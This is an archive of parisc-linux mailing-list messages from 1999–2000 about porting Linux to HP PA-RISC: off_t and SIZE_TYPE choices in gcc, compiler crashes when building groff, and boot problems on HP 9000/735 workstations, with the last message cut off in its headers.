X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Tue, 28 Nov 2000 21:58:56 +0000 (GMT)
Lines: 7
Approved: news@gmane.org
Message-ID: <E140sm9-00056C-00@the-village.bc.nu>
References: <E140sBV-0005ao-00@noam.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619353 7179 80.91.229.3 (22 Nov 2014 01:22:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:33 +0000 (UTC)
Cc: alan@lxorguk.ukuu.org.uk (Alan Cox),
        dave@hiauly1.hia.nrc.ca (John David Anglin),
        alan@linuxcare.com.au (Alan Modra), marteaut@esiee.fr,
        parisc-linux@thepuffingroup.com
To: bame@noam.fc.hp.com (Paul Bame)
Original-X-From: alan@lxorguk.ukuu.org.uk  Tue Nov 28 15:01:09 2000
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA19797
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 15:01:08 -0700
Original-Received: (qmail 15473 invoked by uid 15267); 28 Nov 2000 22:03:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 14786 invoked from network); 28 Nov 2000 22:03:10 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 22:03:10 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 140sm9-00056C-00; Tue, 28 Nov 2000 21:58:57 +0000
In-Reply-To: <E140sBV-0005ao-00@noam.fc.hp.com> from "Paul Bame" at Nov 28, 2000 02:21:05 PM
X-Mailer: ELM [version 2.5 PL1]
Xref: news.gmane.org gmane.linux.ports.parisc:8647

> Seems like the consensus is 32-bit off_t on 32-bit kernel and just
> live with all those *64 syscalls -- many not supported on palinux
> yet I notice.

Remember providing you use off_t you can just tell glibc to do all the work
for you and write with a 64bit off_t to userspace


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Include trouble
Date: Wed, 29 Nov 2000 10:27:20 +1100 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0011291008100.18407-100000@front.linuxcare.com.au>
References: <200011281737.MAA24142@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619354 7180 80.91.229.3 (22 Nov 2014 01:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:34 +0000 (UTC)
Cc: Paul Bame <bame@fc.hp.com>, parisc-linux@thepuffingroup.com
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: alan@linuxcare.com.au  Tue Nov 28 16:25:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA20874
	for <parisc-linux@puffin.external.hp.com>; Tue, 28 Nov 2000 16:25:33 -0700
Original-Received: (qmail 9808 invoked by uid 15267); 28 Nov 2000 23:27:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9769 invoked from network); 28 Nov 2000 23:27:56 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 28 Nov 2000 23:27:56 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id KAA07834;
	Wed, 29 Nov 2000 10:27:20 +1100
In-Reply-To: <200011281737.MAA24142@hiauly1.hia.nrc.ca>
Xref: news.gmane.org gmane.linux.ports.parisc:8648

On Tue, 28 Nov 2000, John David Anglin wrote:

> Hmm.  Most 32 bit systems use "unsigned int" rather than "unsigned long".

There's some precedent for using "unsigned long", as that is what is used
on 32-bit hpux11 and osf gcc targets.

current sourceware CVS gcc/config/pa/:

$ grep SIZE_TYPE *
grep: CVS: Is a directory
pa-64.h:#undef SIZE_TYPE
pa-64.h:#define SIZE_TYPE "long unsigned int"
pa-hpux.h:#undef SIZE_TYPE
pa-hpux.h:#define SIZE_TYPE "unsigned int"
pa-hpux11.h:#undef SIZE_TYPE
pa-hpux11.h:#define SIZE_TYPE "long unsigned int"
pa-hpux7.h:#undef SIZE_TYPE
pa-hpux7.h:#define SIZE_TYPE "unsigned int"
pa-linux.h:#undef SIZE_TYPE
pa-linux.h:#define SIZE_TYPE "unsigned int"
pa-osf.h:#undef SIZE_TYPE
pa-osf.h:#define SIZE_TYPE "long unsigned int"
pa-pro-end.h:#undef SIZE_TYPE
pa-pro-end.h:#define SIZE_TYPE "unsigned int"
pa.h:#define SIZE_TYPE "unsigned int"

Some further grepping shows quite a number of other 32-bit gcc targets
using "unsigned long", but I didn't see any 32-bit linux targets in the
list.  Paul, If you change back to "unsigned int", please change
gcc/config/pa/pa-linux.h too.

Alan
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Butter, Frank" <Frank.Butter@otto.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] hardware
Date: Wed, 29 Nov 2000 11:50:39 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <4B6025B1ABF9D211B5860008C75D57CC0271B7AD@NTOVMAIL04>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="ISO-8859-1"
X-Trace: ger.gmane.org 1416619354 7182 80.91.229.3 (22 Nov 2014 01:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: Frank.Butter@otto.de  Wed Nov 29 04:02:56 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id EAA25721
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 04:02:55 -0700
Original-Received: (qmail 20602 invoked by uid 15267); 29 Nov 2000 11:04:26 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20567 invoked from network); 29 Nov 2000 11:04:23 -0000
Original-Received: from mx1.otto.de (HELO ntovmsw.otto.de) (194.25.18.215)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 11:04:23 -0000
Original-Received: from ntovwan02.ov.otto.de (unverified) by ntovmsw.otto.de
 (Content Technologies SMTPRS 2.0.15) with ESMTP id <B0002586205@ntovmsw.otto.de> for <parisc-linux@thepuffingroup.com>;
 Mi, 29 Nov 2000 11:50:38 +0100
Original-Received: by NTOVWAN02 with Internet Mail Service (5.5.2650.21)
	id <XZ4J7T1P>; Wed, 29 Nov 2000 11:50:40 +0100
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:8649


to all here I was annaouncing an offer for hp hardware recently:
it'll take longer than initially expected 
to convince our bosses ;-/
please stay patient...

frank


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New binutils RPM and .tar.gz
Date: Sat, 1 May 1999 01:07:43 -0400 (EDT)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990501010651.10592T-100000@devserv.devel.redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619354 7184 80.91.229.3 (22 Nov 2014 01:22:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:34 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: adevries@redhat.com  Sat May  1 01:51:27 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id BAA18209
	for <parisc-linux@puffin.external.hp.com>; Sat, 1 May 1999 01:51:26 -0600
Original-Received: (qmail 5731 invoked by uid 15267); 1 May 1999 07:49:29 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5723 invoked from network); 1 May 1999 07:49:29 -0000
Original-Received: from devserv.devel.redhat.com (root@207.175.42.156)
  by mailserv2.iuinc.com with SMTP; 1 May 1999 07:49:29 -0000
Original-Received: from localhost (adevries@localhost)
	by devserv.devel.redhat.com (8.8.7/8.8.7) with SMTP id BAA27382
	for <parisc-linux@thepuffingroup.com>; Sat, 1 May 1999 01:07:43 -0400
X-Authentication-Warning: devserv.devel.redhat.com: adevries owned process doing -bs
X-Sender: adevries@devserv.devel.redhat.com
Xref: news.gmane.org gmane.linux.ports.parisc:8650


The new binutils RPM is on ftp://puffin.external.hp.com, which has the fix
for the linker in it.

- Alex

-- 
Alex deVries <puffin@redhat.com>     
Red Hat Contrib Net maintainer          
Ottawa, Canada  
PA RISC Linux Porting Team



From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Juchem <matthias@archimed.math.uni-mannheim.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] parisc-0.5.iso and stack trace
Date: Wed, 29 Nov 2000 20:52:38 +0100 (MET)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.HPX.4.21.0011292048270.2797-100000@archimed.math.uni-mannheim.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619355 7186 80.91.229.3 (22 Nov 2014 01:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: matthias@archimed.math.uni-mannheim.de  Wed Nov 29 12:50:25 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id MAA29292
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 12:50:24 -0700
Original-Received: (qmail 7846 invoked by uid 15267); 29 Nov 2000 19:52:41 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7809 invoked from network); 29 Nov 2000 19:52:40 -0000
Original-Received: from archimed.math.uni-mannheim.de (matthias@134.155.88.8)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 19:52:40 -0000
Original-Received: from localhost (matthias@localhost)
	by archimed.math.uni-mannheim.de (8.8.6 (PHNE_15509)/8.8.6) with ESMTP id UAA02808
	for <parisc-linux@thepuffingroup.com>; Wed, 29 Nov 2000 20:52:38 +0100 (MET)
Xref: news.gmane.org gmane.linux.ports.parisc:8651

Hi there.

I've just downloaded the ISO images and tried to boot an  9000/705. I keep
getting a stack trace. Can you tell me which part of the trace I can send
you so that you could eventually tell me what is wrong?

TIA,
 Matthias


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] gcc crashes/out of memory and groff
Date: Wed, 29 Nov 2000 17:05:31 -0500 (EST)
Lines: 24
Approved: news@gmane.org
Message-ID: <200011292205.RAA25396@hiauly1.hia.nrc.ca>
References: <E140T6e-0003Rc-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619355 7187 80.91.229.3 (22 Nov 2014 01:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:35 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: alan@lxorguk.ukuu.org.uk (Alan Cox)
Original-X-From: dave@hiauly1.hia.nrc.ca  Wed Nov 29 15:03:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA30985
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 15:03:18 -0700
Original-Received: (qmail 7366 invoked by uid 15267); 29 Nov 2000 22:05:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7341 invoked from network); 29 Nov 2000 22:05:44 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 22:05:44 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id RAA25396;
	Wed, 29 Nov 2000 17:05:32 -0500 (EST)
In-Reply-To: <E140T6e-0003Rc-00@the-village.bc.nu> from "Alan Cox" at Nov 27, 2000 06:34:23 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8652

> With groff -fno-gcse does not help but -O0 does. Without -O0 you get an
> internal error.
> 
> g++ -I. -I/usr/src/redhat/BUILD/groff-1.16/src/roff/troff -I/usr/src/redhat/BUILD/groff-1.16/src/include -I/usr/src/redhat/BUILD/groff-1.16/src/include -DHAVE_UNISTD_H=1 -DHAVE_DIRENT_H=1 -DHAVE_LIMITS_H=1 -DHAVE_SYS_DIR_H=1 -DHAVE_STDLIB_H=1 -DHAVE_STRINGS_H=1 -DSTDLIB_H_DECLARES_PUTENV=1 -DSTDIO_H_DECLARES_POPEN=1 -DSTDIO_H_DECLARES_PCLOSE=1 -DHAVE_SYS_NERR=1 -DHAVE_SYS_ERRLIST=1 -DHAVE_CC_LIMITS_H=1 -DRETSIGTYPE=void -DHAVE_STRUCT_EXCEPTION=1 -DHAVE_UNISTD_H=1 -DHAVE_GETPAGESIZE=1 -DHAVE_MMAP=1 -DHAVE_FMOD=1 -DHAVE_STRTOL=1 -DHAVE_GETCWD=1 -DHAVE_STRERROR=1 -DHAVE_PUTENV=1 -DHAVE_RENAME=1 -DHAVE_MKSTEMP=1 -DHAVE_STRCASECMP=1 -DHAVE_STRSEP=1 -DHAVE_STRDUP=1 -DSYS_SIGLIST_DECLARED=1  -O2 -mpa-risc-1-0 -fno-gcse  -c env.cc
> env.cc: In member function `void environment::output_line (node *, hunits)':
> env.cc:1582: Internal error: Segmentation fault.
>    Please submit a full bug report.
>    See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.
> make[2]: *** [env.o] Error 1
> make[2]: Leaving directory `/usr/src/redhat/BUILD/groff-1.16/src/roff/troff'

This error is also exception related but appears different from the
memory explosion.  It occurs in scan_region in except.c.  The memory
explosion that occurs without -fno-gcse does seem to occur in the
gcse pass as I suspected.  I need to rebuild gcc with debugging to
get further.

I was able to build the groff package with `CXXFLAGS="-O3 -fno-exceptions"'.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP 9000/735-125
Date: Wed, 29 Nov 2000 20:22:47 -0200 (BRST)
Lines: 14
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.1001129201604.9928B-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619355 7190 80.91.229.3 (22 Nov 2014 01:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: delyra@latt.if.usp.br  Wed Nov 29 15:20:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA31609
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 15:20:33 -0700
Original-Received: (qmail 823 invoked by uid 15267); 29 Nov 2000 22:22:57 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 715 invoked from network); 29 Nov 2000 22:22:53 -0000
Original-Received: from latt.if.usp.br (qmailr@143.107.129.103)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 22:22:53 -0000
Original-Received: (qmail 10025 invoked by uid 1003); 29 Nov 2000 22:22:47 -0000
Original-Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 29 Nov 2000 22:22:47 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:8653

I just booted the palinux-0.5.iso CD on a HP 9000 model 735 workstation.
It went on quite a bit before hanging immediatelly after reporting the
serial ports. Gave large amount of what looks like traceback or state
information. Question: would it do anyone any good if I tried to get
everything the kernel said before the hang into a message in this list?

							Cheers,

----------------------------------------------------------------
        Jorge L. deLyra,  Associate Professor of Physics
            The University of Sao Paulo,  IFUSP-DFMA
       For more information: finger delyra@latt.if.usp.br
----------------------------------------------------------------


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Wed, 29 Nov 2000 15:19:10 -0800
Lines: 26
Approved: news@gmane.org
Message-ID: <200011292319.PAA28547@milano.cup.hp.com>
References: <Pine.LNX.3.96.1001129201604.9928B-100000@latt.if.usp.br>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619356 7193 80.91.229.3 (22 Nov 2014 01:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: grundler@cup.hp.com  Wed Nov 29 16:16:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA32560
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 16:16:26 -0700
Original-Received: (qmail 15056 invoked by uid 15267); 29 Nov 2000 23:18:50 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15028 invoked from network); 29 Nov 2000 23:18:48 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 23:18:48 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 82BB24CC; Wed, 29 Nov 2000 15:18:47 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id PAA28547;
	Wed, 29 Nov 2000 15:19:13 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Wed, 29 Nov 2000 20:22:47 PST."
             <Pine.LNX.3.96.1001129201604.9928B-100000@latt.if.usp.br> 
Xref: news.gmane.org gmane.linux.ports.parisc:8654

"Jorge L. deLyra" wrote:
> I just booted the palinux-0.5.iso CD on a HP 9000 model 735 workstation.
> It went on quite a bit before hanging immediatelly after reporting the
> serial ports. Gave large amount of what looks like traceback or state
> information. Question: would it do anyone any good if I tried to get
> everything the kernel said before the hang into a message in this list?

Certainly. I won't be able to debug the problems since I (a) don't have
the time too (unless it's obvious) and (b) don't have a 735 setup
for testing.

This is becoming a FAQ:
"My system crashed after ...  What should I do next?"

I'm thinking people in the support space would know how to write
this one really well :^)
Is I get one in the mail, I'll add it to our FAQ.

thanks,
grant


Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Steve Moret" <smoret@uci.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] HP 9000/735-125
Date: Wed, 29 Nov 2000 15:28:20 -0800
Lines: 55
Approved: news@gmane.org
Message-ID: <KNEHLBLKMAMGJHIKCGCIMEMKCAAA.smoret@uci.edu>
References: <200011292319.PAA28547@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619356 7198 80.91.229.3 (22 Nov 2014 01:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:36 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Jorge L. deLyra" <delyra@latt.if.usp.br>
Original-X-From: smoret@uci.edu  Wed Nov 29 16:25:17 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA00490
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 16:25:16 -0700
Original-Received: (qmail 26497 invoked by uid 15267); 29 Nov 2000 23:27:42 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26429 invoked from network); 29 Nov 2000 23:27:40 -0000
Original-Received: from cx531961-j.msnv1.occa.home.com (HELO cerebus.genocide.net) (qmailr@24.1.159.243)
  by mailserv2.iuinc.com with SMTP; 29 Nov 2000 23:27:40 -0000
Original-Received: (qmail 19886 invoked from network); 29 Nov 2000 23:27:38 -0000
Original-Received: from sdsl-216-34-253-5.dsl.lax.megapath.net (HELO steve) (216.34.253.5)
  by cx531961-j.msnv1.occa.home.com with SMTP; 29 Nov 2000 23:27:38 -0000
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
In-Reply-To: <200011292319.PAA28547@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8655

Jorge,

I have a 735-125 and am able to net-boot it on a custom configured kernel as
long as I disable the ASP parallel ports. It works quite well using an NFS
root as I cannot get the SCSI hard drives to mkfs. I was going to try and
debug it but have yet to find the free time. I can e-mail you my working
.config for the kernel, or build kernels (tested on my own 735) for people
if they need them.

--
Steve Moret
smoret@uci.edu

> -----Original Message-----
> From: Grant Grundler [mailto:grundler@cup.hp.com]
> Sent: Wednesday, November 29, 2000 3:19 PM
> To: Jorge L. deLyra
> Cc: parisc-linux@thepuffingroup.com
> Subject: Re: [parisc-linux] HP 9000/735-125
>
>
> "Jorge L. deLyra" wrote:
> > I just booted the palinux-0.5.iso CD on a HP 9000 model 735 workstation.
> > It went on quite a bit before hanging immediatelly after reporting the
> > serial ports. Gave large amount of what looks like traceback or state
> > information. Question: would it do anyone any good if I tried to get
> > everything the kernel said before the hang into a message in this list?
>
> Certainly. I won't be able to debug the problems since I (a) don't have
> the time too (unless it's obvious) and (b) don't have a 735 setup
> for testing.
>
> This is becoming a FAQ:
> "My system crashed after ...  What should I do next?"
>
> I'm thinking people in the support space would know how to write
> this one really well :^)
> Is I get one in the mail, I'll add it to our FAQ.
>
> thanks,
> grant
>
>
> Grant Grundler
> Unix Systems Enablement Lab
> +1.408.447.7253
>
> ------------------------------------------------------------------
> ---------
> To unsubscribe: send e-mail to
> parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.
>
>


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP 9000/735-125
Date: Thu, 30 Nov 2000 01:10:51 +0100
Lines: 17
Approved: news@gmane.org
Message-ID: <00113001105103.00309@P100>
References: <KNEHLBLKMAMGJHIKCGCIMEMKCAAA.smoret@uci.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619356 7202 80.91.229.3 (22 Nov 2014 01:22:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:36 +0000 (UTC)
Cc: <parisc-linux@thepuffingroup.com>
To: "Steve Moret" <smoret@uci.edu>
Original-X-From: deller@gmx.de  Wed Nov 29 17:08:45 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA01449
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 17:08:44 -0700
Original-Received: (qmail 16433 invoked by uid 15267); 30 Nov 2000 00:11:10 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 16425 invoked from network); 30 Nov 2000 00:11:09 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 00:11:09 -0000
Original-Received: (qmail 20329 invoked by uid 0); 30 Nov 2000 00:10:42 -0000
Original-Received: from pd9040225.dip.t-dialin.net (HELO P100) (217.4.2.37)
  by mail.gmx.net (mail07) with SMTP; 30 Nov 2000 00:10:42 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <KNEHLBLKMAMGJHIKCGCIMEMKCAAA.smoret@uci.edu>
Xref: news.gmane.org gmane.linux.ports.parisc:8656

X
On Thursday 30 November 2000 00:28, Steve Moret wrote:
> I have a 735-125 and am able to net-boot it on a custom configured kernel
> as long as I disable the ASP parallel ports. ....

Steve,

I really would like to get the parallel-port problems on ASP get fixed as 
soon as possible.
Could you please mail me your bootlog (with parport enabled), so I can try to 
track down the problem.
Maybe you can also check out CVS again, and test if this version works for 
you ?

Thanks,
	Helge Deller


From - Thu Nov 08 21:14:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] XFree status
Date: Thu, 30 Nov 2000 02:38:56 +0000 (GMT)
Lines: 39
Approved: news@gmane.org
Message-ID: <E141Jcg-0006je-00@the-village.bc.nu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619357 7203 80.91.229.3 (22 Nov 2014 01:22:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:22:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: alan@lxorguk.ukuu.org.uk  Wed Nov 29 19:36:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id TAA04030
	for <parisc-linux@puffin.external.hp.com>; Wed, 29 Nov 2000 19:36:32 -0700
Original-Received: (qmail 19618 invoked by uid 15267); 30 Nov 2000 02:38:58 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19596 invoked from network); 30 Nov 2000 02:38:57 -0000
Original-Received: from lightning.swansea.linux.org.uk (HELO the-village.bc.nu) (194.168.151.1)
  by mailserv2.iuinc.com with SMTP; 30 Nov 2000 02:38:57 -0000
Original-Received: from alan by the-village.bc.nu with local (Exim 2.12 #1)
	id 141Jcg-0006je-00
